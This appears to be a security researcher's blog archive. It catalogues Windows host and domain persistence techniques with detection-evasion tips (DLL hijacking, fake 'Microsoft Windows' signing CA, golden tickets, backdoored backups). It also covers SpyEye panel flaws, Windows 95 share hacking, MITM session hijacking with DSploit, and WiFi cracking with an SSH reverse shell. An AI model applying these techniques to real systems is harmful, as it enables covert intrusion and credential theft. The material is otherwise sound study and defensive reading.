Just change the code of an executable which is either auto-starting or commonly started by the user. To avoid lame mistakes, disable the update of the file ... The backdoor factory is a good source for this task. But if you backdoor an executable/DLL which is already in Autoruns listed, you will break the Digital Signature on the file. It is recommended to sign your executable, and if you can't afford to steal a trusted certificate, you can still import your own CA into the user's trusted certificate store (with user privileges), and it will look like a trusted one. Protip: Use "Microsoft Windows" as the codesigner CA, and your executable will blend in.

See, rootkit.exe totally looks legit, and it is filtered out when someone filters for "Hide Windows entries".

Hijack DLL load order

Just place your DLL into a directory which is searched before the original DLL is found, and PROFIT! But again, to avoid lame detection, be sure to proxy the legitimate function calls to the original DLL. A good source on this topic from Mandiant and DLL hijack detector.

Here you can see how PlugX works in action, by dropping a legitimate Kaspersky executable, and hijacking the DLL calls with their DLL.

Hijack a shortcut from the desktop/start menu

Never underestimate the power of lame tricks. Just create an executable which calls the original executable, and meanwhile starts your backdoor. Replace the link, PROFIT! And don't be a skiddie, check the icon ;) I have seen this trick in adware hijacking browsers a lot of times.

IE hijacked to start with http://tinyurl.com/2fcpre6

File association hijack

Choose the user's favorite file type, replace the program which handles the opening with a similar one described in the previous section, and voila!

COM object hijack

The main idea is that some COM objects are scanned for whether they are on the system or not, and when it is registered, it is automatically loaded. See COMpfun for details.

Windows Application Compatibility - SHIM

Not many people are familiar with Windows Application Compatibility and how it works. Think about it as an added layer between applications and the OS. If the application matches a certain condition (e.g. filename), certain actions will take place. E.g. emulation of directories, registry entries, DLL injection, etc. In my installation, there are 367 different compatibility fixes (type of compatibility "simulation"), and some of those can be customized.

Every time IE starts, inject a DLL into IE

Bootkits

Although bootkits shown here can end up in Autoruns in the drivers section (as they might need a driver at the end of the day), I still think it deserves a different section.

MBR - Master boot record

Malware can overwrite the Master boot record, start the boot process with its own code, and continue the boot process with the original one. It is common for rootkits to fake the content of the MBR record, and show the original contents. Which means one just have attached the infected HDD to a clean system, and compare the first 512 bytes (or more in some cases) with a known, clean state, or compare it to the contents shown from the infected OS. SecureBoot can be used to prevent malware infections like this.

There is a slight difference when MBR is viewed from infected OS vs clean OS

VBR - Volume boot record

This is the next logical step where malware can start it's process, and some malware/rootkit prefers to hide it's startup code here. Check GrayFish for details. SecureBoot can be used to prevent malware infections like this.

BIOS/UEFI malware

Both the old BIOS and the new UEFI can be modified in a way that malware starts even before the OS had a chance to run. Although UEFI was meant to be more secure than BIOS, implementation and design errors happens. Check the Computrace anti-theft rootkit for details.

Hypervisor - Ring -1 rootkit

This is somewhat special, because I believe although rootkit can run in this layer but it can't persist only in this layer on an average, physical machine, because it won't survive a reboot See Rutkowska's presentation from 2006 But because the hypervisor can intercept the restart event, it can write itself into one of the other layers (e.g. install a common kernel driver), and simply delete it after it is fully functional after reboot. Update: There is a good paper from Igor Korkin about hypervisor detection here.

SMM (System Management Mode) malware - Ring -2 rootkit

Somehow related to the previous type of attacks, but not many people know that System Management Mode can be used to inject code into the OS. Check the DEITYBOUNCE malware for more details ;) Also, abusing Intel Dual Monitor Mode (DMM) can lead to untrusted code execution, which basically monitors the SMM mode.

Intel® Active Management Technology - Ring -3 rootkit

According to Wikipedia, "Intel Active Management Technology (AMT) is hardware and firmware technology for remote out-of-band management of personal computers, in order to monitor, maintain, update, upgrade, and repair them". You can ask, what could possibly go wrong? See Alexander Tereshkin's and Rafal Wojtczuk's great research on this, or Vassilios Ververis thesis about AMT.

As not many people click on links, let me quote the scary stuff about AMT:

Independent of the main CPU
Can access host memory via DMA (with restrictions)
Dedicated link to NIC, and its filtering capabilities
Can force host OS to reboot at any time (and boot the system from the emulated CDROM)
Active even in S3 sleep!

Other stuff

Create new user, update existing user, hidden admins

Sometimes one does not even have to add malicious code to the system, as valid user credentials are more than enough. Either existing users can be used for this purpose, or new ones can be created. E.g. a good trick is to use the Support account with a 500 RID - see here, Metasploit tool here.

Esoteric firmware malware

Almost any component in the computer runs with firmware, and by replacing the firmware with a malicious one, it is possible to start the malware. E.g. HDD firmware (see GrayFish again), graphic card, etc.

Hidden boot device

Malware can hide in one of the boot devices which are checked before the average OS is loaded, and after the malware is loaded, it can load the victim OS.

Network-level backdoor

Think about the following scenario: every time the OS boots, it loads additional data from the network. It can check for new software updates, configuration updates, etc. Whenever a vulnerable software/configuration update, the malware injects itself into the response, and get's executed. I know, this level of persistence is not foolproof, but still, possible. Think about the recently discovered GPO MiTM attack, the Evilgrade tool, or even the Xensploit tool when we are talking about VM migration.

Software vulnerability

Almost any kind of software vulnerability can be used as a persistent backdoor. Especially, if the vulnerability can be accessed remotely via the network, without any user interaction. Good old MS08-067...

Hardware malware, built into the chipset

I am not sure what to write here. Ask your local spy agency for further information. Good luck finding those!

Thousand ways to backdoor a Windows domain (forest)

Thu, 05 Mar 2015 13:40:29 +0000

When the Kerberos elevation of privilege (CVE-2014-6324 / MS14-068) vulnerability has been made public, the remediation paragraph of the following blog post made some waves:
http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

"The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain."

Personally, I agree with this, but .... But whether this is the real solution, I'm not sure. And the same applies to compromised computers. When it has been identified that malware was able to run on the computer (e.g. scheduled scan found the malware), there is no easy way to determine with 100% certainty that there is no rootkit on the computer. Thus rebuilding the computer might be a good thing to consider. For paranoids, use new hardware ;)

But rebuilding a single workstation and rebuilding a whole domain is not on the same complexity level. Rebuilding a domain can take weeks or months (or years, which will never happen, as the business will close before that).

There are countless documented methods to backdoor a computer, but I have never seen a post where someone collects all the methods to backdoor a domain. In the following, I will refer to domain admin, but in reality, I mean Domain Admins, Enterprise Admins, and Schema Admins.

Ways to backdoor a domain

So here you go, an incomplete list to backdoor a domain:

Create a new domain admin user. Easy to do, easy to detect, easy to remediate
Dump password hashes. The attacker can either crack those or just pass-the-hash. Since KB2871997, pass-the-hash might be trickier (https://technet.microsoft.com/library/security/2871997), but not impossible. Easy to do, hard to detect, hard to remediate - just think about service user passwords. And during remediation, consider all passwords compromised, even strong ones.
Logon scripts - modify the logon scripts and add something malicious in it. Almost anything detailed in this post can be added :D
Use an already available account, and add domain admin privileges to that. Reset its password. Mess with current group memberships - e.g. http://www.exploit-db.com/papers/17167/
Backdoor any workstation where domain admins login. While remediating workstations, don't forget to clean the roaming profile. The type of backdoor can use different forms: malware, local admin, password (hidden admin with 500 RID), sticky keys, etc.
Backdoor any domain controller server. For advanced attacks, see Skeleton keys
Backdoor files on network shares which are commonly used by domain admins by adding malware to commonly used executables - Backdoor factory
Change ownership/permissions on AD partitions - if you have particular details on how to do this specifically, please comment
Create a new domain user. Hide admin privileges with SID history. Easy to do, hard to detect, easy to remediate - check Mimikatz experimental for addsid
Golden tickets - easy to do, hard to detect, medium remediation
Silver tickets - easy to do, hard to detect, medium/hard remediation
Backdoor workstations/servers via group policy

HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce,
scheduled tasks (run task 2 years later),
sticky-keys with debug

Backdoor patch management tool, see slides here

[Update 2017.01.10]

Other tricks

The following list does not fit in the previous "instant admin" tips, but still, it can make the attackers life easier if their primary foothold has been disabled:

Backdoor recent backups - and when the backdoor is needed, destroy the files, so the files will be restored from the backdoored backup
Backdoor the Exchange server - get a copy of emails
Backdoor workstation/server golden image
Change permission of logon scripts to allow modification later
Place malicious symlinks to file shares, collect hashes via SMB auth tries on specified IP address, grab password hashes later
Backdoor remote admin management e.g. HP iLO - e.g. create new user or steal current password
Backdoor files e.g. on shares to use in SMB relay
Backdoor source code of in-house-developed software
Use any type of sniffed or reused passwords in new attacks, e.g. network admin, firewall admin, VPN admin, AV admin, etc.
Change the content of the proxy pac file (change browser configuration if necessary), including special exception(s) for a chosen domain(s) to use proxy on malicious IP. Redirect the traffic, enforce authentication, grab password hashes, ???, profit.
Create high privileged users in applications running with high privileges, e.g. MSSQL, Tomcat, and own the machine, impersonate users, grab their credentials, etc. The typical pentest path made easy.
Remove patches from servers, change patch policy not to install those patches.
Steal Windows root/intermediate CA keys
Weaken AD security by changing group policy (e.g. re-enabling LM-hashes)

Update [2015-09-27]: I found this great presentation from Jakob Heidelberg. It mentions (at least) the following techniques, it is worth to check these:

Microsoft Local Administrator Password Solution
Enroll virtual smart card certificates for domain admins

Forensics

If you have been chosen to remediate a network where attackers gained domain admin privileges, well, you have a lot of things to look for :)

I can recommend two tools which can help you during your investigation:

Lessons learned

But guess what, not all of these problems are solved by rebuilding the AD. One has to rebuild all the computers from scratch as well. Which seems quite impossible. When someone is creating a new AD, it is impossible not to migrate some configuration/data/files from the old domain. And whenever this happens, there is a risk that the new AD will be backdoored as well.

Ok, we are doomed, but what can we do? I recommend proper log analysis, analyze trends, and detect strange patterns in your network. Better spend money on these, than on the domain rebuild. And when you find something, do a proper incident response. And good luck!

Ps: Thanks to Andrew, EQ, and Tileo for adding new ideas to this post.

Check out the host backdooring post as well! :)

Bypass hardware firewalls

Sun, 09 Nov 2014 23:56:53 +0000

This is just a collection of links about my DEF CON 22 presentation, and the two tools I released:

Slides: http://www.slideshare.net/bz98/defcon-22-bypass-firewalls-application-white-lists-secure-remote-desktops-in-20-seconds

Tools: https://github.com/MRGEffitas/Write-into-screen https://github.com/MRGEffitas/hwfwbypass

Presentation video from Hacktivity: https://www.youtube.com/watch?v=KPJBckmhtZ8

Technical blog post: https://blog.mrg-effitas.com/bypass-hardware-firewalls-def-con-22/

Have fun!

Change passwords regularly - a myth and a lie, don't be fooled, part 2

Mon, 13 Oct 2014 13:47:54 +0000

In the previous blog post, I have covered the different passwords you have to protect, the attackers and attack methods. Now let's look at how we want to solve the issue.

Password requirements

So far we have learned we have to use long, complex, true random passwords. In theory, this is easy.

Now, this is my password advice for 2014:

Password character classes

Use upper-lower-digit-special characters in general cases.

If you don't understand what I just write, choose from this:

qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789-=[];'\,./<>?:"|{}_+!@#$%^&* ()`~

If you are a CISO, and say: use 3 out of 4 character class, everyone will use Password12 or Welcome12 as their password (after the 12th enforced password change).

Password length

This is basically the only thing which changes whether the password is in the very high/high/medium/low level. Check the previous blog post for the details about very high/high/medium/low level.

Password length: Very high level class (including work-related/enterprise passwords)

15 character (or 20 if you are really paranoid). Making true random passwords longer than 20 characters usually does not make any sense, even in high security scenarios (e.g. military, spy agencies, etc.). 15 character in Windows environment is a right choice, as LM hash is incompatible with 15 character passwords, thus one (effective) attack won't work. Beware, there might be bugs with using 15 character passwords, with a low probability.

Password length: High-level class

12 character, upper-lower-special characters

Password length: Medium class

10 character, upper-lower-special characters, still TRUE random

Password length: Low-level class

9 character. Why less?

Pin codes

Always choose the longest provided, but a maximum of 8. Usually, more is pretty impractical.

Password randomness

True random, generated by a (local) computer. Avoid Debian. Avoid random generated by your brain. Do not use l33tsp33k. Do not append or prepend the current month, season or year to a word. Do not use Star Wars/Star Trek/(your favorite movie/series here) characters or terminology. In general, avoid any pattern like the above ones. The chances that a true random password generator generates SkyWalker12 is very-very low. And believe me, it is not that hard to crack those. Every algorithm that you would come up with; the bad guys have already thought of it. Use true random. Let the computer do it for you. See details later in this post.

Password history

Never-ever reuse passwords. NEVER!

Password change period

If it is not enforced otherwise, don't bother to change it twice in a year. But! Check if the password cracking speed made your current ones obsolete. If yes, change the obsolete passwords. Immediately change the password if you have been notified that the service you use has been compromised. Immediately change all of your recently used passwords if you suspect malware was running on your computer (do this on a known clean computer). Immediately change your password if you have used it on a computer you don't own, or there is a small chance malware is running on it. Change it if you really had to give your password to someone. Otherwise, goodbye regular password change. We will miss you...

If you are a CISO, and writing security policies, you should have to enforce the password change period based on: do you allow LM hashes? What is the password length requirement for users and administrators? What is the current hash cracking speed, and the forecast for the next 2 years? I think people would be happy to increase their passwords with 1-2 characters, if they are not forced to change it frequently (e.g. every month). Now after I was sooo smart giving advises people still hate to implement, let's see the practical implementations. At least some people might like me, because I told them not to change the passwords regularly. Next time someone tells you to change all your important passwords regularly, put a lie detector on him, and check if he changes all of his passwords regularly. If he lies, feel free to use the wrench algorithm to crack his passwords. If he was not lying, call 911, to put a straitjacket on him. Only insane paranoid people do that in reality. Others are just too scared to say "what everyone recommended so far is bullshit". Comments are welcome ;) Other people might hate me for telling them using true random passwords. Don't panic, keep reading.

And don't forget to use 2 factor authentication. It might seem a bit of an overkill at the beginning, but after months, you won't notice using it.

(Bad and good) solutions

I will use the same password everywhere

This is a pretty bad idea. If one of the passwords are compromised, either the attackers can access your other sites, or you have to change all of your passwords. There are better ways to spend your life on earth than changing all of your passwords.

I will remember it

Good luck remembering 250 different, complex passwords. Don't forget to change them regularly! ;)

I will use the password recovery all the time

Not a very user-friendly solution. And because the security answer has to be as complicated as the password itself, the problem has not been solved.

I will write it down into my super-secret notebook and put it in my drawer

Although it might work in some cases, it won't work in others. I don't recommend it.

I will use an algorithm, like a base password, and add the websites first letters to the end of the password

Still better than using the same password everywhere, but believe me, if this is a targeted attack, it is not that hard to guess your password generation algorithm.

I will use the advice from XKCD, and use the password correcthorsebatterystaple

Still a lot better than simple passwords, but unfortunately, people are still bad at choosing random words with random order, so it is not the best solution. And again, you can't memorize 250 different passwords ... Even 10 is impossible. Only use this method in special corner cases (see details later), and use a passphrase generator!

I will use a password manager

This is the very first good idea. It solves the problem of remembering 250 different complex and random passwords. Some people might complain about using a password manager, here are those complaints. And my answers:

If someone gets access to this one password store, all is lost.

Answer: If someone accessed your password store, and the master password, you can be pretty damn sure that most of your passwords are already stolen. For extra paranoids, you can use multiple password stores, one for daily use, one for rare cases. Beware not to forget the password for the second one ;)

What if I don't have access to the password store when I need it?

Answer: In the age of cheap notebooks, tablets, and smartphones, in 99% of the cases you should not use that important password on any other device than yours. In the rare cases when you must, you can use either your smartphone to get the password, or use a browser extension like Password hasher to generate different passwords to different websites, with one password. For extra paranoids, you can have different master passwords for the different security levels. And don't forget to change the password after you are back at your own computer.

What if I forgot the one password to the password store?

Answer: If you use your password manager daily, it has the same odds to forget that one password as it is to forget every one of your passwords.

Password managers make phishing attacks easier.

Answer: Who started this nonsense? Good password managers decrease the risk of phishing.

Password managers have the same vulnerabilities as other websites or software.

Answer: Well, this is partially true. There are at least 3 types of password managers, from most secure to least: offline, browser built-in, online. Online password managers give better user experience, with a sacrifice in security. But if you choose one of the leading password managers, and you are a simple home user, the risks are negligible. If you try to store your work password in an online password store, you might violate your internal security policy. For paranoids, use offline password managers, and back them up regularly. If you choose an online password manager, at least use 2-factor authentication. And don't forget, your Chrome password can be easily synchronized to the cloud, shifting it to the online category.

In some cases, like Full Disc Encryption, OS login, smartphone login, or password manager login, the auto-type of password from the password manager is not available, thus choosing a true random password is a pain in the a$$.

Answer: True. Generate pronounceable passwords or passphrases in these corner cases, e.g. with the Linux tool apg you can generate pronounceable passwords. For easy and fast type, don't use capital letters (only lower-alpha - digit - special) in the original password, but increase the length of the password. Add 1 extra character because you don't use upper case letters, add 3 other because it is a pronounceable password, and you are good to go. For extra paranoids change one or two of the letters to uppercase where it is convenient.

apg -M SNL -m 15 is your friend.

If you want to check what I write here (always a good idea), test the entropy of a true random 10 character password with all character classes, and check it with 14 characters, without uppercase. I recommend KeePass for that. If you comment on this that "Keepass can not measure that it is a pronounceable password, thus the entropy is lower in reality", my answer is: "Check out the current passwords used by users, and current password advises, and tell me if this password is a lot better or not ..." . You have been warned.

For the high-level password class, I don't recommend anything your brain generated. There are also suitable offline passphrase generators. Use at least 5-6 words for passphrases.

Password managers are not user-friendly, it takes more time to log in.

Answer: If you set auto-type/auto-fill, and the password manager is opened once a day (and you lock your computer when you leave it), in this case, logging in takes less time than typing it! It is more convenient to use it, rather than typing the passwords every time.

I like to create new unique passwords every time I create a new account, and password managers take the fun away from it.

Answer: Said no one, ever! "38 percent of people think it sounds more appealing to tackle household chores – from folding the laundry to scrubbing toilets – than to try and come up with another new user name or password."

To summarize things. Use a password manager.

General advise

Never use your essential passwords on other computers. They might be infected with a password stealer. If you really have to use it, change the password as soon as possible on a trusted (your) computer.

Don't fool yourself by phishing sites. If you go to the local flea market, and there is a strange looking guy with "Superbank deposit here" logo above his head, will you put your money?

Protect yourself against malware. Use a recent operating system, and even if you use OSX or Linux, it is not a bad thing to have an AV as a "last line of defense". Or to check your pendrive for Windows USB worms.

Never-ever use online web sites to "generate your password", "measure the complexity of your password" or "check if it has been breached". Never! (Except if it is your password manager :) ... )

Update: Sign up on the https://haveibeenpwned.com/ for notification if your e-mail is found in a leak.

Change passwords regularly - a myth and a lie, don't be fooled, part 1

Wed, 01 Oct 2014 13:49:47 +0000

TL;DR: different passwords have different protection requirements, and different attackers using various attacks can only be prevented through different prevention methods. Password security is not simple. For real advise, checking the second post (in progress).

Are you sick of password advices like “change your password regularly” or “if your password is password change it to pa$$w0rd”? This post is for you!

The news sites are full of password advises nowadays due to recent breaches. When I read/watch these advise (especially on CNN), I am usually pissed off for a lot of reasons. Some advises are terrible (a good collection is here), some are good but without solutions, and others are better, but they don’t explain the reasons. Following is my analysis of the problem. It works for me. It might not work for you. Comments are welcome!

Attacking financial malware botnet panels - SpyEye

Fri, 22 Aug 2014 13:53:28 +0000

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus.

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon.

Google dorks to find SpyEye C&C server panel related stuff:

if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it

And this is how the control panel login looks like, nothing sophisticated:

The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:

Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)

Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
No password policy - admins can set up really weak passwords
No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
Password autocomplete enabled - boring
Missing HttpOnly flag on session cookie - interesting when combining with XSS
No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...

        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
        {
                $outstr = "<br>";
                set_time_limit(0);
                $filename = str_replace(" ","_",$_FILES['file']['name']);
                $ext = substr($filename, strrpos($filename, '.')+1);
                if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
                if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";
                switch( $uptype )
                {
                case ‘body’: $ext = ‘b’; break;
                case ‘config’: $ext = ‘c’; break;
                case ’exe’: $ext = ’e’; break;
                default: $ext = ’e’;
                }
                $_SESSION[‘file_ext’] = $ext;
                if( isset($_POST[‘bots’]) && trim($_POST[‘bots’]) !== ‘’)
              {
                        $bots = explode(’ ‘, trim($_POST[‘bots’]));
                        //writelog(“debug.log”, trim($POST[‘bots’]));
                      $filename .= “”.(LastFileId()+1);
                }
                if( FileExist($filename) ) $filename .= LastFileId();
                $tmpName  = $_FILES[‘file’][’tmp_name’];
                $fileSize = $_FILES[‘file’][‘size’];
                $fileType = $_FILES[‘file’][’type’];
                ## reading all file for calculating hash
                $fp = fopen($tmpName, ‘r’);

Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!

$query = “SELECT * FROM users_t WHERE uPswd=’".md5($pswd).”’";

ClickJacking - really boring stuff

Hacking Windows 95, part 2

Fri, 23 May 2014 19:45:05 +0000

In the Hacking Windows 95, part 1 blog post, we covered that through a nasty bug affecting Windows 95/98/ME, the share password can be guessed in no time. In this article, I'm going to try to use this vulnerability to achieve remote code execution (with the help of publicly available tools only).

The first thing we can do when we have read access to the Windows directory through the share, is to locate all the *.pwl files on the c:\windows directory, copy them to your machine where Cain is installed, switch to Cracker tab, pwl files, load the pwl file, add username based on the filename, and try to crack it. If you can't crack it you might still try to add a .pwl file where you already know the password in the remote windows directory. Although this is a fun post-exploitation task, but still, no remote code execution. These passwords are useless without physical access.

One might think that after having a share password and user password, it is easy to achieve remote code execution. The problem is:

there is no "at" command (available since Windows 95 plus!)
there is no admin share
there is no RPC
there is no named pipes
there is no remote registry
there is no remote service management

If you think about security best practices, disabling unnecessary services is always the first task you should do. Because Windows 95 lacks all of these services, it is pretty much secure!

During my quest for a tool to hack Windows 95, I came across some pretty cool stuff:

Internet periscope

Winfingerprint

LanSpy

But the best of the best is Fluxay, which has been written by chinese hackers. It is the metasploit from the year 2000. A screenshot is worth more than a 1000 words. 4 screenshot > 4 thousand words :)

It is pretty hard to find the installer, but it is still out there!

But at the end, no remote code execution for me.

My idea here was that if I can find a file which executes regularly (on a scheduled basis), I can change that executable to my backdoor and I'm done. Although there is no scheduler in the default Windows 95, I gave it a try.

Let's fire up taskman.exe to get an idea what processes are running:

Looks like we need a more powerful tool here, namely Process Explorer. Let's try to download this from oldapps.com:

LOL, IE3 hangs, can't render the page. Copying files to the Win95 VM is not that simple, because there are no shared folders in Win95 VM. And you can't use pendrives either, Win95 can't handle USB (at least the retail version). After downloading the application with a newer browser from oldapps, let's start Process Explorer on the test Windows 95.

Don't try to download the Winsocks 2 patch from the official MS site, it is not there anymore, but you can download it from other sites.

Now let's look at the processes running:

After staring it for minutes, turned out it is constant, no new processes appeared.
Looking at the next screenshot, one can notice this OS was not running a lot of background processes ...

My current Win7 has 1181 threads and 84 processes running, no wonder it is slow as hell :)

We have at least the following options:

You are lucky and not the plain Windows 95 is installed, but Windows 95 Plus! The main difference here is that Windows 95 Plus! has built-in scheduler, especially the "at" command. Just overwrite a file which is scheduled to execution, and wait. Mission accomplished!
Ping of death - you can crash the machine (no BSOD, just crash) with long (over 65535 bytes) ICMP ping commands, and wait for someone to reboot it. Just don't forget to put your backdoor on the share and add it to autoexec.bat before crashing it.
If your target is a plain Windows 95, I believe you are out of luck. No at command, no named pipes, no admin share, nothing. Meybe you can try to fuzz port 137 138 139, and write an exploit for those. Might be even Ping of Death is exploitable?

Let's do the first option, and hack Windows 95 plus!

Look at the cool features we have by installing Win95 Plus!

Cool new boot splash screen!

But our main interest is the new, scheduled tasks!

Now we can replace diskalm.exe with our backdoor executable, and wait maximum one hour to be scheduled.

Instead of a boring text based tutorial, I created a YouTube video for you. Based on the feedbacks on my previous tutorialz, it turned out I'm way too old, and can't do interesting tutorials. That's why I analyzed the cool skiddie videoz, and found that I have to do the followings so my vidz won't suck anymore:

use cool black windows theme
put meaningless performance monitor gadgets on the sidebar
use a cool background, something related with hacking and skullz
do as many opsec fails as possible
instead of captions, use notepad with spelling errorz
there is only one rule of metal: Play it fuckin' loud!!!!

DSploit

Tue, 29 Apr 2014 13:55:47 +0000

DSploit

After playing with the applications installed on the Pwn Pad, I found that the most important application (at least for me) was missing from the pre-installed apps. Namely, DSploit. Although DSploit has tons of features, I really liked the multiprotocol password sniffing (same as dsniff) and the session hijacking functionality.

The DSploit APK in the Play Store was not working for me, but the latest nightly on http://dsploit.net worked like a charm.

Most features require that you and your target uses the same WiFi network, and that's it. It can be Open, WEP, WPA/WPA2 Personal. On all of these networks, DSploit will sniff the passwords - because of the active attacks. E.g. a lot of email clients still use IMAP with clear text passwords, or some webmails, etc.

First, DSploit lists the AP and the known devices on the network. In this case, I chose one victim client.

In the following submenu, there are tons of options, but the best features are in the MITM section.

Stealthiness warning: in some cases, I received the following popup on the victim Windows:

This is what we have under the MITM submenu:

Password sniffing

For example, let's start with the Password Sniffer. It is the same as EvilAP and DSniff in my previous post. With the same results for the popular Hungarian webmail with the default secure login checkbox turned off. Don't forget, this is not an Open WiFi network, but one with WPA2 protection!

Session hijack

Now let's assume that the victim is very security-aware and he checks the secure login checkbox. Another cause can be that the victim already logged in, long before we started to attack. The session hijacking function is similar to the Firesheep tool, but it works with every website where the session cookies are sent in clear text, and there is no need for any additional support.

In a session hijacking attack (also called "sidejacking"), after the victim browser sends the authentication cookies in clear text, DSploit copies these cookies into its own browser, and opens the website with the same cookies, which results in successful login most of the time. Let's see session hijacking in action!

Here, we can see that the session cookies have been sniffed from the air:

Let's select that session, and be amazed that we logged into the user's webmail session.

Redirect traffic

This feature can be used both for fun or profit. For fun, you can redirect all the victim traffic to http://www.kittenwar.com/. For-profit, you can redirect your victim to phishing pages.

Replace images, videos

I think this is just for fun here. Endless Rick Rolling possibilities.

Script injection

This is mostly for profit. client-side injection, drive-by-exploits, endless possibilities.

Custom filter

If you are familiar with ettercap, this has similar functionalities (but dumber), with string or regex replacements. E.g. you can replace the news, stock prices, which pizza the victim ordered, etc. If you know more fun stuff here, please leave a comment (only HTTP scenario - e.g. attacking Facebook won't work).

Additional fun (not in DSploit) - SSLStrip

From the MITM section of DSploit, I really miss the SSLStrip functionality. Luckily, it is built into the Pwn Pad. With the help of SSLStrip, we can remove the references to HTTPS links in the clear text HTTP traffic, and replace those with HTTP. So even if the user checks the secure login checkbox at freemail.hu, the password will be sent in clear text - thus it can be sniffed with DSniff.

HTML source on the client-side without SSLstrip:

HTML source on the client-side with SSL strip:

With EvilAP, SSLStrip, and DSniff, the password can be stolen. No hacking skillz needed.

Lessons learned here

If you are a website operator where you allow your users to login, always:

Use HTTPS with a trusted certificate, and redirect all unencrypted traffic to HTTPS ASAP
Mark the session cookies with the secure flag
Use HSTS to prevent SSLStrip attacks

If you are a user:

Don't trust sites with your confidential data if the above points are not fixed. Choose a more secure alternative
Use HTTPS everywhere plugin
For improved security, use VPN

Because hacking has never been so easy before.
And last but not least, if you like the DSploit project, don't forget to donate them!

WiFi hacking on tablets

Tue, 22 Apr 2014 13:56:42 +0000

Disclaimer: Don't hack anything where you don't have the authorization to do so. Stay legal.

Ever since I bought my first Android device, I wanted to use the device for WEP cracking. Not because I need it, but I want it :) After some googling, I read that you can't use your WiFi chipset for packet injection, and I forgot the whole topic.

After a while, I read about hacking on tablets (this was around a year ago), and my first opinion was:

"This is stupid, lame, and the usage of that can be very limited".

After playing one day with it, my opinion just changed:

"This is stupid, lame, the usage is limited, but when it works, it is really funny :-)"

At the beginning I looked at the Pwn Pad as a device that can replace a pentest workstation, working at the attacker side. Boy was I wrong. Pwn Pad should be used as a pentest device deployed at the victim's side!

You have the following options:

You have 1095 USD + VAT + shipping to buy this Pwn Pad
You have around 200 USD to buy an old Nexus 7 tablet, a USB OTG cable, a USB WiFi dongle (e.g. TP-Link Wireless TL-WN722N USB adapter works).

In my example, I bought a used, old 2012 Nexus WiFi. Originally I bought this to play with different custom Android ROMs, and play with rooted applications. After a while, I found this Pwn Pad hype again and gave it a shot.

The Pwn Pad community edition has an easy-to-use installer, with a proper installation description. Don't forget to backup everything from your tablet before installing Pwn Pad on it!

I don't want to repeat the install guide, it is as easy as ABC. I booted a Ubuntu Live CD, installed adb and fastboot, and it was ready-to-roll. I have not measured the time, but the whole process was around 20 minutes.

The internal WiFi chipset can be used to sniff traffic or even ARP poisoning for active MiTM. But in my case, I was not able to use the internal chipset for packet injection, which means you can't use it for WEP cracking, WPA disauth, etc. This is where the external USB WiFi comes handy. And this is why we need the Pwn Pad Android ROM, and can't use an average ROM.

There are two things where Pwn Pad really rocks. The first one is the integrated drivers for the external WiFi with monitor mode and packet injection capabilities. The second cool thing is the chroot wrapper around the Linux hacking tools. Every hacking tool has a start icon, so it feels like it is a native Android application, although it is running in a chroot Kali environment.

Wifite

The first recommended app is Wifite. Think of it as a wrapper around the aircrack - airmon - airodump suite. My biggest problem with WEP cracking was that I had to remember a bunch of commands, or have the WEP cracking manual with me every time I have to crack it. It was overcomplicated. But thanks to Wifite, that is past.

In order to crack a WEP key, you have to:

Start the Wifite app
Choose your adapter (the USB WiFi)
Choose the target network (wep_lan in the next example)
Wait for a minute
PROFIT!

SSH reverse shell

This is one of the key functionalities of the Pwn Pad. You deploy the tablet at the Victim side, and let the tablet connect to your server via (tunneled) SSH.

The basic concept of the reverse shells are that an SSH tunnel is established between the Pwn Pad tablet (client) and your external SSH server (either directly or encapsulated in other tunneling protocol), and remote port forward is set up, which means on your SSH server you connect to a localport which is forwarded to the Pwn Pad and handled by the Pwn Pad SSH server.

I believe the best option would be to use the reverse shell over 3G, and let the tablet connect to the victim network through Ethernet or WiFi. But your preference might vary. The steps for reverse shells are again well documented in the documentation, except that by default you also have to start the SSH server on the Pwn Pad. It is not hard, there is an app for that ;-) On your external SSH server you might need to install stunnel and ptunnel if you are not using Kali. The following output shows what you can see on your external SSH server after successful reverse shell.

root@myserver:/home/ubuntu# ssh -p 3333 pwnie@localhost
The authenticity of host '[localhost]:3333 ([127.0.0.1]:3333)' can't be established.
ECDSA key fingerprint is 14:d4:67:04:90:30:18:a4:7a:f6:82:04:e0:3c:c6:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:3333' (ECDSA) to the list of known hosts.
pwnie@localhost's password:
  _____      ___  _ ___ ___   _____  _____ ___ ___ ___ ___
 | _ \ \    / / \| |_ _| __| | __\ \/ / _ \ _ \ __/ __/ __|
 |  _/\ \/\/ /| .` || || _|  | _| >  <|  _/   / _|\__ \__ \
